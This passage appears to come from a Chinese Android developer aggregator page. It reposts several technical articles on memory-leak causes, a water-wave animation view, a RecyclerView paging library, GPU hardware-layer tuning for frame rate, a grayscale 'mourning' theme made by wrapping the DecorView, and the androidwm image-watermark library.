  • 在onDestroy中将未执行的消息和Callbacks清除。

    if (mHandler != null) {
        mHandler.removeCallbacksAndMessages(null);
    }

Context被长期持有

描述🤦♀️

这个也很简单,比如你把Activity的Context传给了一个长期存在的对象,那其实activity的context就是它自身,那么因为被持有就回收不了。造成内存泄漏

解决方案🙆♀️

  • 对于不是必须使用Activity的Context的情况(Dialog的Context必须使用Activity的Context),可以考虑使用Application来代替Activity的Context,因为一般使用Context无非时获取一些资源而已。

  • 一定要传入Activity的Context的话,一定要注意生命周期,不可以被长期引用。

View被静态修饰

描述🤦♀️

这个。。。。我估计没有多少人这么使用吧。如果View被静态修饰的话,因为View会持有Context,所以就会导致当前Activity不会被回收。🤦♀️

举个例子🌰

public class TestActivity extends AppCompatActivity {

   static View button;

   @Override
   protected void onCreate(@Nullable Bundle savedInstanceState) {

       super.onCreate(savedInstanceState);
       setContentView(R.layout.item_layout);
       button = findViewById(R.id.button);
  }
}

解决方案🙆♀️

  • 在onDestory中将view置null。

大对象/监听器释放

描述🤦♀️

大对象比如Bitmap

Bitmap对象一般比较大,而且好多操作都需要变换产生新的对象。所以需要注意一定要尽快释放临时的Bitmap对象用于节省内存。尽量避免被静态修饰或者其他长生命周期引用。

监听器的释放

很多服务需要register和unregister监听器,需要在合适的时候及时的unregister这些监听器否则容易产生内存泄漏。

解决方案🙆♀️

  • 大对象及时释放

  • 监听器在合适的时候进行释放

资源对象注意关闭

描述🤦♀️

资源对象比如File、Cursor等,如果不进行正常关闭,会造成内存泄漏。

解决方案🙆♀️

  • 通常使用异常代码块捕获,在finally语句中进行关闭,防止出现异常资源没有被正常释放问题。

集合对象

描述🤦♀️

注意一些生命周期很长的集合,比如被static修饰的集合,它的生命周期会时APP的生命周期,那么它里面维持的对象,如果在没用之后要即使清理掉,否则就会造成内存泄漏。

举个例子🌰

public class TestActivity extends AppCompatActivity {

   static List<View> vies;

   @Override
   protected void onCreate(@Nullable Bundle savedInstanceState) {

       super.onCreate(savedInstanceState);
       setContentView(R.layout.item_layout);
       vies.add(findViewById(R.id.button));
  }
}

view被加入集合,因为集合生命周期为APP的生命周期,所以View、Activity也回收不了,内存泄漏。

解决方案🙆♀️

  • 这个完全需要自己注意,对于长生命周期集合内部对象的管理。

————————————————
作者:pumpkin的玄学
来源:https://blog.csdn.net/weixin_44235109/article/details/122029725

收起阅读 »

android 水波纹控件,仿京东语音评价动画

先上效果gradle 引用implementation 'com.maxcion:multwaveviewlib:1.0.0'https://github.com/Likeyong/MultWaveView第一种样式存在三层水波纹,所以要生成3个Wave对象,...
继续阅读 »



先上效果

gradle 引用

implementation 'com.maxcion:multwaveviewlib:1.0.0'

项目地址

https://github.com/Likeyong/MultWaveView

  • 第一种效果是多重水波纹的效果, 三层水波纹,每层水播放可以设置不同的颜色、波高与波宽

  • 第二种效果是 单层水波纹,并且支持从底部慢慢上涨的效果。 这里也可以设置为多层水波纹上涨效果,颜色、波高、波宽以及背景图都是可以定制

  • 第三种效果就是模仿京东语音评价动画,最底部的seekbar 是用来模拟语音输出的声音大小,声音越大波高越大,并且每条水波纹的粗细以及速度都不同

第一种和第二种效果的背景图是这样的, 如果设置了背景图,那么整个控件的大小就是背景图大小与xml中设置的大小无关

List<Wave> waves = new ArrayList<>();
       Wave wave1 = new Wave(0, 150, 1, Color.parseColor("#00FFFF"), 3);
       Wave wave2 = new Wave(1f / 8, 150, 1, Color.parseColor("#6600FFFF"), 3);
       Wave wave3 = new Wave(1f / 4, 150, 1, Color.parseColor("#4400FFFF"), 3);
       waves.add(wave1);
       waves.add(wave2);
       waves.add(wave3);

       waveView.start(WaveArg.build()
              .setWaveList(waves)
              .setAutoRise(false)
              .setIsStroke(false)
              .setTransformBitmap(BitmapFactory.decodeResource(getResources(), R.drawable.batman_logo))

第一种样式存在三层水波纹,所以要生成3个Wave对象,参数说明如下

设置完水波纹数据后,就可以开始动画了

waveView.start(WaveArg.build()
              .setWaveList(waves)//设置水波纹数据
              .setAutoRise(false)//设置水波纹是否自动上升
              .setIsStroke(false)//设置水波纹是实心的还是线条模式
              .setTransformBitmap(BitmapFactory.decodeResource(getResources(), R.drawable.batman_logo))
               //设置背景图

      );

第二种样式:只有一层水波纹但是需要自动上涨,所以只用生成一条wave对象

List<Wave> waves = new ArrayList<>();
       Wave wave1 = new Wave(0, 150, 1, Color.parseColor("#00FFFF"), 3);
       waves.add(wave1);

waveView2.start(WaveArg.build()
              .setWaveList(waves)
              .setAutoRise(true)//设置自动上涨
              .setIsStroke(false)
              .setTransformBitmap(BitmapFactory.decodeResource(getResources(), R.drawable.batman_logo))

      );

第三种样式,仅线条模式,并且三条水波纹粗细不一样,速度不一样,水波纹的粗细和速度都是通过Wave的构造函数设置的

List<Wave> waves = new ArrayList<>();
       Wave wave1 = new Wave(0, 150, 1, Color.parseColor("#000000"), 3);
       Wave wave2 = new Wave(0, 150, 3, Color.parseColor("#000000"), 3);
       Wave wave3 = new Wave(0, 150, 2, Color.parseColor("#000000"), 3);
       waves.add(wave1);
       waves.add(wave2);
       waves.add(wave3);

waveView3.start(WaveArg.build()
              .setWaveList(waves)
              .setAutoRise(false)
              .setIsStroke(true)

      );

这样写我们的三条粗细、速度都不同的水波纹动画就出来了,接下来就是根据声音大小来调整波高,通过 waveView.setWaveHeightMultiple(mult), 因为语音一直输入,声音大小也是一直变化的,科大讯飞的语音转写SDK中就有声音大小的回调,然后将回调出来的声音大小通过setWaveHeightMultiple,就可以实现波高动态改变了

作者:maxcion
来源:https://www.jianshu.com/p/9a770b0e68ff

收起阅读 »

Android端小到不行的分页加载库

RecyclerView几乎在每个app里面都有被使用,但凡使用了列表就会采用分页加载进行数据请求和加载。android 官方也推出了分页库,但是感觉只有kotlin一起使用才能体会到酸爽。Java 版本的也有很多很强大的第三方库,BaseRecyclerVi...
继续阅读 »

RecyclerView几乎在每个app里面都有被使用,但凡使用了列表就会采用分页加载进行数据请求和加载。android 官方也推出了分页库,但是感觉只有kotlin一起使用才能体会到酸爽。Java 版本的也有很多很强大的第三方库,BaseRecyclerViewAdapterHelper这个库是我用起来最顺手的分页库,里面也包含了各式各样强大的功能:分组、拖动排序、动画,因为功能强大,代码量也相对比较大。 但是很多时候我们想要的就是分页加载,所以参照BaseRecyclerViewAdapterHelper写下了这个分页加载库,只有分页功能。(可以说照搬,也可以说精简,但是其中也加入个人理解)。
这个库相对BaseRecyclerViewAdapterHelper只有两个优点:

  • 代码量小

  • BaseRecyclerViewAdapterHelper 在数据不满一屏时仍然显示加载更多以及页面初始化时都会显示loadmoewView(虽然提供了api进行隐藏,但是看了很长时间注释和文档都没了解该怎么使用),而这个库在初次加载和不满一屏数据时不会显示loadmoreView

gradle引用

implementation 'com.maxcion:pageloadadapter:1.0.0'

项目地址:https://github.com/Likeyong/PageLoadAdapter

如果看不到gif,就到掘金吧 https://juejin.cn/post/6944242618658193415

单列分页加载

混合布局分页加载

Recyclerview 多type分页加载

单列分页加载

//一定要在PageLoadRecyclerVewAdapter<String> 的泛型参数里面指定数据源item格式
public class SimpleAdapter extends PageLoadRecyclerVewAdapter<String> {
   public SimpleAdapter(List<String> dataList) {
       super(dataList);
  }

   //这里进行 数据绑定
   @Override
   protected void convert(BaseViewHolder holder, String item) {
       holder.setText(R.id.text, item);
  }

   //这里返回布局item id
   @Override
   protected int getItemLayoutId() {
       return R.layout.item_simple;
  }
}

第一步 adapter实现好了,现在需要打开adapter的分页加载功能

public class SingleColumnActivity extends BaseActivity<String> implements IOnLoadMoreListener {


   @Override
   protected void onCreate(Bundle savedInstanceState) {
       super.onCreate(savedInstanceState);
       setContentView(R.layout.activity_single_column);
       RecyclerView rv = findViewById(R.id.rv);
       //实例化adapter
       mAdapter = new SimpleAdapter(null);
       //给adapter 设置loadmoreview
       mAdapter.setLoadMoreView(new CommonLoadMoreView());
       //设置滑动到底部时进行更多加载的回调
       mAdapter.setOnLoadMoreListener(this);
       rv.setAdapter(mAdapter);
       rv.setLayoutManager(new LinearLayoutManager(this));
       request();
  }



   @Override
   public void onLoadMoreRequested() {

       request();
  }

   //这个函数不用管
   @Override
   protected List<String> convertRequestData(List<String> originData) {
       return originData;
  }


}

第二步,RecyclerView也打开了分页加载功能,第三部就是根据接口返回的数据判断到底是 加载失败了、加成成功了还是加载结束(没有更多数据需要加载)

protected void request() {
       NetWorkRequest.request(mAdapter.getDataSize() / PAGE_SIZE + 1, mFailCount, new NetWorkRequest.Callback() {
           @Override
           public void onSuccess(List<String> result) {
               List<T> finalResult = convertRequestData(result);
               if(result.size() >= PAGE_SIZE){// 接口返回了满满一页的数据,这里数据加载成功
                   if (mAdapter.getDataSize() == 0){
                       //当前列表里面没有数据,代表是初次请求,所以这里使用setNewData()

                       mAdapter.setNewData(finalResult);
                  }else {
                       //列表里面已经有数据了,这里使用addDataList(),将数据添加到列表后面
                       mAdapter.addDataList(finalResult);
                  }
                   //这里调用adapter。loadMoreComplete(true) 函数通知列表刷新footview, 这里参数一定要传true
                   mAdapter.loadMoreComplete(true);
              }else {
                   //如果接口返回的数据不足一页,也就代表没有足够的数据了,那么也就没有下一页数据,所以这里
                   //认定分页加载结束
                   //这里的参数也一定要传true
                   mAdapter.loadMoreEnd(true);
              }
          }

           @Override
           public void onFail() {
               mFailCount++;
               //请求失败 通知recyclerview 刷新footview 状态
               mAdapter.loadMoreFail(true);
          }
      });
  }

上面是我写的模拟接口请求,不用在意其他代码,只要关注onSuccess 和onFail 两个回调里面的逻辑。

混合布局的支持

在电商行业经常能看到商品列表中,同一个列表,有的商品占满整整一行,有的一行显示2-3个商品。这种实现方案就是通过GridLayoutManager 的SpanSizeLookup 来控制每个item占几列的。

RecyclerView rv = findViewById(R.id.rv);
       mAdapter = new SimpleAdapter(null);
       mAdapter.setLoadMoreView(new CommonLoadMoreView());
       mAdapter.setOnLoadMoreListener(this);
     //这里我们将列表设置最多两列
       GridLayoutManager layoutManager = new GridLayoutManager(this, 2);
       layoutManager.setSpanSizeLookup(new GridLayoutManager.SpanSizeLookup() {
           @Override
           public int getSpanSize(int position) {
             //根据position 设置每个item应该占几列
             //如果当前的position是3的整数倍 我们就让他占满2列,其他的只占1列
               return position % 3 == 0 ? 2 : 1 ;
          }
      });
       rv.setLayoutManager(layoutManager);
       rv.setAdapter(mAdapter);

RecyclerView多Type支持

如果要使用多type, 在写Adapter的时候要继承PageLoadMultiRecyclerViewAdapter<T, BaseViewHolder>,其中T 是数据源item类型,这个类型必须实现 IMultiItem 接口,并在getItemType()函数中返回当前item对应的type

public class MultiPageLoadAdapter extends PageLoadMultiRecyclerViewAdapter<MultiData, BaseViewHolder> {
   public MultiPageLoadAdapter(List<MultiData> dataList) {
       super(dataList);
       //构造函数里面将 每种type 和 type 对应的布局进行绑定
       addItemLayout(MultiData.TYPE_TEXT, R.layout.item_simple);
       addItemLayout(MultiData.TYPE_IMAGE, R.layout.item_multi_image);
       addItemLayout(MultiData.TYPE_VIDEO, R.layout.item_multi_video);
  }

   @Override
   protected void convert(BaseViewHolder holder, MultiData item) {
       //在convert中针对不同的type 进行不同的bind逻辑
       switch (holder.getItemViewType()){
           case MultiData.TYPE_VIDEO:
               holder.setText(R.id.text, item.content);
               break;

           case MultiData.TYPE_IMAGE:
               holder.setText(R.id.text, item.content);
               break;

           case MultiData.TYPE_TEXT:
               holder.setText(R.id.text, item.content);
           default:
               break;
      }
  }
}

引入方式也和上面两种方式一样

RecyclerView recyclerView = findViewById(R.id.rv);
       mAdapter = new MultiPageLoadAdapter(null);
       mAdapter.setLoadMoreView(new CommonLoadMoreView());
       mAdapter.setOnLoadMoreListener(this);
       recyclerView.setLayoutManager(new LinearLayoutManager(this));
       recyclerView.setAdapter(mAdapter);

作者:maxcion
来源:https://www.jianshu.com/p/aa3054b4d03c

收起阅读 »

如何用 GPU硬件层加速优化Android系统的游戏流畅度

作为一款VR实时操作游戏App,我们需要根据重力感应系统,实时监控手机的角度,并渲染出相应位置的VR图像,因此在不同 Android 设备之间,由于使用的芯片组和不同架构的GPU,游戏性能会因此受到影响。举例来说:游戏在 Galaxy S20+ 上可能以 6...
继续阅读 »

作为一款VR实时操作游戏App,我们需要根据重力感应系统,实时监控手机的角度,并渲染出相应位置的VR图像,因此在不同 Android 设备之间,由于使用的芯片组和不同架构的GPU,游戏性能会因此受到影响。举例来说:游戏在 Galaxy S20+ 上可能以 60fps 的速度渲染,但它在HUAWEI P50 Pro上的表现可能与前者大相径庭。 由于新版本的手机具有良好的配置,而游戏需要考虑基于底层硬件的运行情况。

如果玩家遇到帧速率下降或加载时间变慢,他们很快就会对游戏失去兴趣。
如果游戏耗尽电池电量或设备过热,我们也会流失处于长途旅行中的游戏玩家。
如果提前预渲染不必要的游戏素材,会大大增加游戏的启动时间,导致玩家失去耐心。
如果帧率和手机不能适配,在运行时会由于手机自我保护机制造成闪退,带来极差的游戏体验。

基于此,我们需要对代码进行优化以适配市场上不同手机的不同帧率运行。

所遇到的挑战

首先我们使用Streamline获取在 Android 设备上运行的游戏的配置文件,在运行测试场景时将 CPU 和 GPU性能计数器活动可视化,以准确了解设备处理 CPU 和 GPU 工作负载,从而去定位帧速率下降的主要问题。

以下的帧率分析图表显示了应用程序如何随时间运行。

在下面的图中,我们可以看到执行引擎周期与 FPS 下降之间的相关性。显然GPU 正忙于算术运算,并且着色器可能过于复杂。

为了测试在不同设备中的帧率情况,使用友盟+U-APM测试不同机型上的卡顿状况,发现在onSurfaceCreated函数中进行渲染时出现卡顿, 应证了前文的分析,可以确定GPU是在算数运算过程中发生了卡顿:

因为不同设备有不同的性能预期,所以需要为每个设备设置自己的性能预算。例如,已知设备中 GPU 的最高频率,并且提供目标帧速率,则可以计算每帧 GPU 成本的绝对限制。

数学公式: $ 每帧 GPU 成本 = GPU 最高频率 / 目标帧率 $

CPU 到 GPU 的调度存在一定的约束,由于调度上存在限制所以我们无法达到目标帧率。

另外,由于 CPU-GPU 接口上的工作负载序列化,渲染过程是异步进行的。
CPU 将新的渲染工作放入队列,稍后由 GPU 处理。

数据资源问题

CPU 控制渲染过程并且实时提供最新的数据,例如每一帧的变换和灯光位置。然而,GPU 处理是异步的。这意味着数据资源会被排队的命令引用,并在命令流中停留一段时间。而程序中的OpenGL ES 需要渲染以反映进行绘制调用时资源的状态,因此在引用它们的 GPU 工作负载完成之前无法修改资源。

调试过程

我们曾做出尝试,对引用资源进行代码上的编辑优化,然而当我们尝试修改这部分内容时,会触发该部分的新副本的创建。这将能够一定程度上实现我们的目标,但是会产生大量的 CPU 开销。

于是我们使用Streamline查明高 CPU 负载的实例。在图形驱动程序内部libGLES_Mali.so路径函数, 视图中看到极高的占用时间。

由于我们希望在不同手机上适配不同帧率运行,所以需要查明libGLES_Mali.so是否在不同机型的设备上都产生了极高的占用时间,此处采用了友盟+U-APM来检测用户在不同机型上的函数占用比例。

友盟+ U-APM自定义异常测试,下列机型会产生高libGLES_Mali.so占用的问题,因此我们需要基于底层硬件的运行情况来解决流畅性问题,同时由于存在问题的机型不止一种,我们需要从内存层面着手,考虑如何调用较少的内存缓存区并及时释放内存。

解决方案及优化

基于前文的分析,我们首先尝试从缓冲区入手进行优化。

单缓冲区方案
• 使用glMapBufferRange和GL_MAP_UNSYNCHRONIZED.然后使用单个缓冲区内的子区域构建旋转。这避免了对多个缓冲区的需求,但是这一方案仍然存在一些问题,我们仍需要处理管理子区域依赖项,这一部分的代码给我们带来了额外的工作量。

多缓冲区方案
• 我们尝试在系统中创建多个缓冲区,并以循环方式使用缓冲区。通过计算我们得到了适合的缓冲区的数目,在之后的帧中,代码可以去重新使用这些循环缓冲区。由于我们使用了大量的循环缓冲区,那么大量的日志记录和数据库写入是非常有必要的。但是有几个因素会导致此处的性能不佳:

1. 产生了额外的内存使用和GC压力
2. Android 操作系统实际上是将日志消息写入日志而并非文件,这需要额外的时间。
3. 如果只有一次调用,那么这里的性能消耗微乎其微。但是由于使用了循环缓冲区,所以这里需要用到多次调用。
我们会在基于c#中的 Mono 分析器中启用内存分配跟踪函数用于定位问题:

$ adb shell setprop debug.mono.profile log:calls,alloc

我们可以看到该方法在每次调用时都花费时间:

Method call summary Total(ms) Self(ms) Calls Method name 782 5 100 MyApp.MainActivity:Log (string,object[]) 775 3 100 Android.Util.Log:Debug (string,string,object[]) 634 10 100 Android.Util.Log:Debug (string,string)

在这里定位到我们的日志记录花费了大量时间,我们的下一步方向可能需要改进单个调用,或者寻求全新的解决方案。

log:alloc还让我们看到内存分配;日志调用直接导致了大量的不合理内存分配:

Allocation summary Bytes Count Average Type name 41784 839 49 System.String 4280 144 29 System.Object[]

硬件加速

最后尝试引入硬件加速,获得了一个新的绘图模型来将应用程序渲染到屏幕上。它引入了DisplayList 结构并且记录视图的绘图命令以加快渲染速度。

同时,可以将 View渲染到屏幕外缓冲区并随心所欲地修改它而不用担心被引用的问题。此功能主要适用于动画,非常适合解决我们的帧率问题,可以更快地为复杂的视图设置动画。

如果没有图层,在更改动画属性后,动画视图将使其无效。对于复杂的视图,这种失效会传播到所有的子视图,它们反过来会重绘自己。

在使用由硬件支持的视图层后,GPU 会为视图创建纹理。因此我们可以在我们的屏幕上为复杂的视图设置动画,并且使动画更加流畅。

代码示例:

// Using the Object animator view.setLayerType(View.LAYER_TYPE_HARDWARE, null); ObjectAnimator objectAnimator = ObjectAnimator.ofFloat(view, View.TRANSLATION_X, 20f); objectAnimator.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationEnd(Animator animation) { view.setLayerType(View.LAYER_TYPE_NONE, null); } }); objectAnimator.start(); // Using the Property animator view.animate().translationX(20f).withLayer().start();

另外还有几点在使用硬件层中仍需注意:

(1)在使用之后进行清理:

硬件层会占用GPU上的空间。在上面的 ObjectAnimator代码中,侦听器会在动画结束时移除图层。在 Property animator 示例中,withLayers()方法会在开始时自动创建图层并在动画结束时将其删除。

(2)需要将硬件层更新可视化:

使用开发人员选项,可以启用“显示硬件层更新”。
如果在应用硬件层后更改视图,它将使硬件层无效并将视图重新渲染到该屏幕外缓冲区。

硬件加速优化

但是由此带来了一个问题是,在不需要快速渲染的界面,比如滚动栏, 硬件层也会更快地渲染它们。当将 ViewPager 滚动到两侧时,它的页面在整个滚动阶段会以绿色突出显示。

因此当我滚动ViewPager时,我使用DDMS运行 TraceView
,按名称对方法调用进行排序,搜索“android/view/View.setLayerType”,然后跟踪它的引用:

ViewPager#enableLayers(): private void enableLayers(boolean enable) { final int childCount = getChildCount(); for (int i = 0; i < childCount; i++) { final int layerType = enable ? ViewCompat.LAYER_TYPE_HARDWARE : ViewCompat.LAYER_TYPE_NONE; ViewCompat.setLayerType(getChildAt(i), layerType, null); } }

该方法负责为 ViewPager的孩子启用/禁用硬件层。它从 ViewPaper#setScrollState() 调用一次:

private void setScrollState(int newState) { if (mScrollState == newState) { return; } mScrollState = newState; if (mPageTransformer != null) { enableLayers(newState != SCROLL_STATE_IDLE); } if (mOnPageChangeListener != null) { mOnPageChangeListener.onPageScrollStateChanged(newState); } }

正如代码中所示,当滚动状态为IDLE时硬件被禁用,否则在DRAGGINGSETTLING时启用。PageTransformer 旨在“使用动画属性将自定义转换应用于页面视图”(Source)。

基于我们的需求,只在渲染动画的时候启用硬件层,所以我想覆盖ViewPager 方法,但由于它们是私有的,我们无法修改这个方法。

所以我采取了另外的解决方案:在 ViewPage#setScrollState() 上,在调用 enableLayers()之后,我们还会调用

OnPageChangeListener#onPageScrollStateChanged()

。所以我设置了一个监听器,当 ViewPager的滚动状态不同于 IDLE时,它将所有ViewPager的孩子的图层类型重置为 NONE

@Override public void onPageScrollStateChanged(int scrollState) { // A small hack to remove the HW layer that the viewpager add to each page when scrolling. if (scrollState != ViewPager.SCROLL_STATE_IDLE) { final int childCount = <your_viewpager>.getChildCount(); for (int i = 0; i < childCount; i++) <your_viewpager>.getChildAt(i).setLayerType(View.LAYER_TYPE_NONE, null); } }

这样,在ViewPager#setScrollState()为页面设置了一个硬件层之后——我将它们重新设置为NONE,这将禁用硬件层,因此而导致的帧率区别主要显示在Nexus上。

作者:六一
来源:https://segmentfault.com/a/1190000040864118

收起阅读 »

又到公祭日,App快速实现“哀悼主题”方案

今天是南京大屠杀死难者国家公祭日,很多APP已经变成哀悼主题,怎么实现的呢?看看这个Android方案! 4月4日,今天是国家,为了纪念和哀悼为新冠疫情做出努力和牺牲的烈士以及在新冠中逝去的同胞“举行全国哀悼”的日子! 今天10时全国停止一切娱乐活动,并默...
继续阅读 »


今天是南京大屠杀死难者国家公祭日,很多APP已经变成哀悼主题,怎么实现的呢?看看这个Android方案!

原标题:App快速实现“哀悼主题”方案

4月4日,今天是国家,为了纪念和哀悼为新冠疫情做出努力和牺牲的烈士以及在新冠中逝去的同胞“举行全国哀悼”的日子!
今天10时全国停止一切娱乐活动,并默哀3分钟!至此,各大app(爱奇艺、腾讯、虎牙...)响应号召,统一将app主题更换至“哀悼色”...,本篇文章简谈Android端的一种实现方案。

系统api:saveLayer

saveLayer可以为canvas创建一个新的透明图层,在新的图层上绘制,并不会直接绘制到屏幕上,而会在restore之后,绘制到上一个图层或者屏幕上(如果没有上一个图层)。为什么会需要一个新的图层,例如在处理xfermode的时候,原canvas上的图(包括背景)会影响src和dst的合成,这个时候,使用一个新的透明图层是一个很好的选择

public int saveLayer(@Nullable RectF bounds, @Nullable Paint paint, @Saveflags int saveFlags) {
       if (bounds == null) {
           bounds = new RectF(getClipBounds());
      }
       checkValidSaveFlags(saveFlags);
       return saveLayer(bounds.left, bounds.top, bounds.right, bounds.bottom, paint,
               ALL_SAVE_FLAG);
  }

public int saveLayer(@Nullable RectF bounds, @Nullable Paint paint) {
       return saveLayer(bounds, paint, ALL_SAVE_FLAG);
  }

ColorMatrix中setSaturation设置饱和度,给布局去色(0为灰色,1为原图)

/**
    * Set the matrix to affect the saturation of colors.
    *
    * @param sat A value of 0 maps the color to gray-scale. 1 is identity.
    */
   public void setSaturation(float sat) {
       reset();
       float[] m = mArray;

       final float invSat = 1 - sat;
       final float R = 0.213f * invSat;
       final float G = 0.715f * invSat;
       final float B = 0.072f * invSat;

       m[0] = R + sat; m[1] = G;       m[2] = B;
       m[5] = R;       m[6] = G + sat; m[7] = B;
       m[10] = R;      m[11] = G;      m[12] = B + sat;
  }

1.在view上的实践

自定义MourningImageVIew

public class MourningImageView extends AppCompatImageView {
   private Paint mPaint;
   public MourningImageView(Context context) {
       this(context,null);
  }
   public MourningImageView(Context context, @Nullable AttributeSet attrs) {
       this(context, attrs,0);
  }
   public MourningImageView(Context context, @Nullable AttributeSet attrs, int defStyleAttr) {
       super(context, attrs, defStyleAttr);
       createPaint();
  }
   private void createPaint(){
       if(mPaint == null) {
           mPaint = new Paint();
           ColorMatrix cm = new ColorMatrix();
           cm.setSaturation(0);
           mPaint.setColorFilter(new ColorMatrixColorFilter(cm));
      }
  }
   @Override
   public void draw(Canvas canvas) {
       createPaint();
       canvas.saveLayer(null, mPaint, Canvas.ALL_SAVE_FLAG);
       super.draw(canvas);
       canvas.restore();
  }
   @Override
   protected void dispatchDraw(Canvas canvas) {
       createPaint();
       canvas.saveLayer(null, mPaint, Canvas.ALL_SAVE_FLAG);
       super.dispatchDraw(canvas);
       canvas.restore();
  }
}

和普通的ImageView对比效果:

举一反三在其他的view上也是可以生效的,实际线上项目不可能去替换所有view,接下来我们在根布局上做文章。

自定义各种MourningViewGroup实际替换效果:

xml version="1.0" encoding="utf-8"?>
<com.example.sample.MourningLinearlayout xmlns:android="http://schemas.android.com/apk/res/android"
   xmlns:app="http://schemas.android.com/apk/res-auto"
   xmlns:tools="http://schemas.android.com/tools"
   android:layout_width="match_parent"
   android:layout_height="match_parent"
   tools:context=".MainActivity"
   android:orientation="vertical"
   >

   <ImageView
       android:layout_width="wrap_content"
       android:src="@mipmap/ic_launcher"
       android:layout_margin="20dp"
       android:layout_height="wrap_content"/>

   <com.example.sample.MourningImageView
       android:layout_width="wrap_content"
       android:src="@mipmap/ic_launcher"
       android:layout_margin="20dp"
       android:layout_height="wrap_content"/>
com.example.sample.MourningLinearlayout>

也是可以生效的,那接下来的问题就是如何用最少的代码替换所有的页面根布局的问题了。在Activity创建的时候同时会创建一个 Window,其中包含一个 DecoView,在我们Activity中调用setContentView(),其实就是把它添加到decoView中,可以统一拦截decoview并对其做文章,降低入侵同时减少代码量。

2.Hook Window DecoView

application中注册ActivityLifecycleCallbacks,创建hook点

public class MineApplication extends Application {

   @Override
   protected void attachBaseContext(Context base) {
       super.attachBaseContext(base);
       registerActivityLifecycleCallbacks(new ActivityLifecycleCallbacks() {
           @Override
           public void onActivityCreated(@NonNull Activity activity, @Nullable Bundle savedInstanceState) {
              //获取decoview
               ViewGroup decorView = (ViewGroup) activity.getWindow().getDecorView();
               if(decorView!= null && decorView.getChildCount() > 0) {
                   //获取设置的contentview
                   View child = decorView.getChildAt(0);
                   //从decoview中移除contentview
                   decorView.removeView(child);
                   //创建哀悼主题布局
                   MourningFramlayout mourningFramlayout = new MourningFramlayout(activity);
                   //将contentview添加到哀悼布局中
                   mourningFramlayout.addView(child);
                   //将哀悼布局添加到decoview中
                   decorView.addView(mourningFramlayout);
              }
...
}

找个之前做的项目试试效果:

效果还行,暂时没发现什么坑,但是可能存在坑....😄😄😄

作者:code_balance
来源:https://www.jianshu.com/p/abdebc2c508e


收起阅读 »

轻量级安卓水印框架,支持隐形数字水印 AndroidWM

一个轻量级的 Android 图片水印框架,支持隐形水印和加密水印。 English version下载与安装Maven:<dependency>  <groupId>com.huangyz0918groupId> &n...
继续阅读 »



AndroidWM

一个轻量级的 Android 图片水印框架,支持隐形水印和加密水印。 English version

img

下载与安装

Gradle:

implementation 'com.huangyz0918:androidwm:0.1.9'

Maven:

<dependency>
 <groupId>com.huangyz0918groupId>
 <artifactId>androidwmartifactId>
 <version>0.1.9version>
 <type>pomtype>
dependency>

Lvy:

<dependency org='com.huangyz0918' name='androidwm' rev='0.1.9'>
 <artifact name='androidwm' ext='pom' >artifact>
dependency>

快速入门

新建一个水印图片

在下载并且配置好 androidwm 之后,你可以创建一个 WatermarkImage 或者是 WatermarkText 的实例,并且使用内置的诸多Set方法为创建一个水印做好准备。

    WatermarkText watermarkText = new WatermarkText(editText)
          .setPositionX(0.5)
          .setPositionY(0.5)
          .setTextColor(Color.WHITE)
          .setTextFont(R.font.champagne)
          .setTextShadow(0.1f, 5, 5, Color.BLUE)
          .setTextAlpha(150)
          .setRotation(30)
          .setTextSize(20);

对于具体定制一个文字水印或者是图片水印, 我们在接下来的文档中会仔细介绍。

当你的水印(文字或图片水印)已经准备就绪的时候,你需要一个 WatermarkBuilder来把水印画到你希望的背景图片上。 你可以通过 create 方法获取一个 WatermarkBuilder 的实例,注意,在创建这个实例的时候你需要先传入一个 Bitmap 或者是一个 Drawable 的资源 id 来获取背景图。

    WatermarkBuilder
          .create(context, backgroundBitmap)
          .loadWatermarkText(watermarkText) // use .loadWatermarkImage(watermarkImage) to load an image.
          .getWatermark()
          .setToImageView(imageView);

选择绘制模式

你可以在 WatermarkBuilder.setTileMode() 中选择是否使用铺满整图模式,默认情况下我们只会添加一个水印。

    WatermarkBuilder
          .create(this, backgroundBitmap)
          .loadWatermarkText(watermarkText)
          .setTileMode(true) // select different drawing mode.
          .getWatermark()
          .setToImageView(backgroundView);

咚! 带水印的图片已经绘制好啦:

img

获取输出图片

你可以在 WatermarkBuilder 中同时加载文字水印和图片水印。 如果你想在绘制完成之后获得带水印的结果图片,可以使用 Watermark.getOutputImage() 方法:

    Bitmap bitmap = WatermarkBuilder
          .create(this, backgroundBitmap)
          .getWatermark()
          .getOutputImage();

创建多个水印

你还可以一次性添加多个水印图片,通过创建一个WatermarkText 的列表 List<> 并且在水印构建器的方法 .loadWatermarkTexts(watermarkTexts)中把列表传入进去(图片类型水印同理):

    WatermarkBuilder
          .create(this, backgroundBitmap)
          .loadWatermarkTexts(watermarkTexts)
          .loadWatermarkImages(watermarkImages)
          .getWatermark();

加载资源

你还可以从系统的控件和资源中装载图片或者是文字资源,从而创建一个水印对象:

WatermarkText watermarkText = new WatermarkText(editText); // for a text from EditText.
WatermarkText watermarkText = new WatermarkText(textView); // for a text from TextView.
WatermarkImage watermarkImage = new WatermarkImage(imageView); // for an image from ImageView.
WatermarkImage watermarkImage = new WatermarkImage(this, R.drawable.image); // for an image from Resource.

WatermarkBuilder里面的背景图片同样可以从系统资源或者是 ImageView 中装载:

    WatermarkBuilder
          .create(this, backgroundImageView) // .create(this, R.drawable.background)
          .getWatermark()

如果在水印构建器中你既没有加载文字水印也没有加载图片水印,那么处理过后的图片将保持原样,毕竟你啥也没干 :)

隐形水印 (测试版)

androidwm 支持两种模式的隐形水印:

  • 空域 LSB 水印

  • 频域叠加水印

你可以通过WatermarkBuilder 直接构造一个隐形水印,为了选择不同的隐形方式,可以使用布尔参数 isLSB 来区分它们 (注:频域水印扔在开发中),而想要获取到构建成功的水印图片,你需要添加一个监听器:

     WatermarkBuilder
          .create(this, backgroundBitmap)
          .loadWatermarkImage(watermarkBitmap)
          .setInvisibleWMListener(true, 512, new BuildFinishListener<Bitmap>() {
               @Override
               public void onSuccess(Bitmap object) {
                   if (object != null) {
                      // do something...
                  }
              }

               @Override
               public void onFailure(String message) {
                  // do something...
              }
          });

setInvisibleWMListener 方法的第二个参数是一个整数,表示输入图片最大尺寸,有的时候,你输入的可能是一个巨大的图片,为了使计算算法更加快速,你可以选择在构建图片之前是否对图片进行缩放,如果你让这个参数为空,那么图片将以原图形式进行添加水印操作。无论如何,注意一定要保持背景图片的大小足以放得下水印图片中的信息,否则会抛出异常。

同理,检测隐形水印可以使用类WatermarkDetector,通过一个create方法获取到实例,同时传进去一张加过水印的图片,第一个布尔参数代表着水印的种类,true 代表着检测文字水印,反之则检测图形水印。

